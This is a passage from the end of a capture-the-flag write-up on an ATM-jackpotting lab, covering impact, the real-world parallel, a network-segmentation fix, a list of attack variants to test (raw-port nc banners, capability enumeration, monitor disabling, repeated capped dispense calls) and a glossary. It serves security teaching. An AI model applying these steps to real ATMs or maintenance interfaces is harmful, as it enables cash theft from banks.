Impact is what an attacker can actually do once they succeed. An attacker with network reachability to the maintenance interface can take full control of the cash dispenser without a card, a PIN or a transaction. In this lab that means arming supervisor mode, disabling the fraud monitor, dispensing every note in all four cassettes and retrieving the flag.

The walkthrough draws the real-world parallel explicitly: this mirrors actual ATM jackpotting attacks, such as those using Ploutus or Cutlet Maker malware, where attackers interact directly with the XFS layer to bypass the banking application entirely and issue dispense commands straight to the hardware. Jackpotting is the industry term for making an ATM spit out all its cash on command. Malware is software written to do something harmful.

The condition is the one stated throughout: the assumption that the hardware layer is unreachable breaks. A misconfigured VLAN, a forgotten firewall rule or a maintenance port left reachable is enough, because the dispenser itself has no concept of who is allowed to ask for cash. It trusts whoever is fluent in its protocol. A VLAN is a way of splitting one physical network into separate logical ones. A firewall rule is an instruction that allows or blocks traffic between networks.

Fix

A fix is the change that removes the problem rather than hiding it. The fix, in the real world, is the same as the fix in this room's design: these interfaces should never be reachable outside a tightly controlled, authenticated, physically secured segment. Once you are talking XFS, the transaction has already stopped mattering. These interfaces should never be reachable outside a tightly controlled, authenticated, physically secured segment.

Variants to test

These are the general patterns to look for on other targets, not just this one. Each is a way of checking whether the same weakness exists elsewhere.

  • Nonce disclosure in status endpoints. Request the console's status or polling endpoint without credentials and look for a value that the UI also displays on screen. A positive result is a nonce, session code or similar value that the privileged tool consumes as input.
  • Downloadable service tools. Enumerate links and download paths on the maintenance console, such as /jackpot here. A positive result is a binary that takes the disclosed nonce as an argument and prints an activation or supervisor code.
  • Protocol self-description on raw ports. Connect to non-HTTP ports with nc and read the banner. A positive result is a JSON or text description of the framing, message types and a hint pointing at a capabilities command that returns the full command table.
  • Capabilities enumeration. Send the GETINFO request for the capabilities command id and inspect the returned command table. A positive result lists privileged commands such as arm, monitor control, dispense and flag retrieval, plus any per-call limits.
  • Payload format confusion. When a command rejects a JSON-wrapped argument, retry with the raw value as ASCII bytes. A positive result is a success response where the structured form failed, which shows the request side is not JSON at all.
  • Monitor and limit bypass by repetition. After arming, disable the monitor and repeat a capped dispense call until the remaining count reaches zero. A positive result is a sequence of successes that drains the resource despite the per-call cap.

Glossary

  • ATM: Automated Teller Machine, the cash machine you use with a bank card and a PIN.
  • Authentication: the process of proving who you are, like showing a passport.
  • XFS (CEN/XFS): a real-world standard that lets ATM software talk to the physical hardware such as the cash dispenser, card reader and PIN pad.
  • Port: a numbered door on a computer through which one service listens.
  • IP address: the numeric address of a computer on a network, like a phone number.
  • Recon: reconnaissance, looking around a target before touching it.
  • Banner: the greeting a service sends when you first connect.
  • HTTP: the language web browsers and web servers use to talk.
  • Endpoint: a specific web address that returns data rather than a page.
  • JSON: a plain-text format for structured data, made of names and values in curly braces.
  • Nonce: a one-time value, usually used to prove freshness.
  • Cassette: a physical box inside an ATM holding notes of one denomination.
  • Protocol: an agreed way of communicating, like a handshake or a letter format.
  • Binary: made of raw bytes rather than readable text; also a compiled program.
  • Byte: eight bits, the basic unit of computer data.
  • Big-endian: a byte order convention where the most significant byte comes first.
  • Hexadecimal: base-16 number notation, written with a 0x prefix, used as a compact way to write byte values.
  • Framing: the rules for where one message starts and ends inside a stream of bytes.
  • Supervisor mode: a higher privilege level, like a manager's key in a shop.
  • Fraud monitor: the alarm that would normally notice cash leaving outside a transaction.
  • Flag: the prize string in an exercise, submitted to prove you finished.
  • Binary (executable): a compiled program the computer runs directly.
  • PIE: position-independent executable, a program that can be loaded anywhere in memory.
  • Dynamically linked: a program that borrows code from shared libraries at run time.
  • Stripped: a program whose internal function names have been removed.
  • Heredoc: a shell feature for writing a whole file in one go.
  • ASCII: the standard mapping between characters and byte values.
  • Root cause: the underlying reason a problem exists, as opposed to the surface symptom.
  • Network segmentation: keeping different parts of a network apart, like separate rooms with separate keys.
  • Cryptographic identity: proving who you are with maths, such as a key or certificate.
  • Impact: what an attacker can actually do once they succeed.
  • Jackpotting: the industry term for making an ATM spit out all its cash on command.
  • Malware: software written to do something harmful.
  • VLAN: a way of splitting one physical network into separate logical ones.
  • Firewall rule: an instruction that allows or blocks traffic between networks.
  • Fix: the change that removes the problem rather than hiding it.

More by GHOSTEYE

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.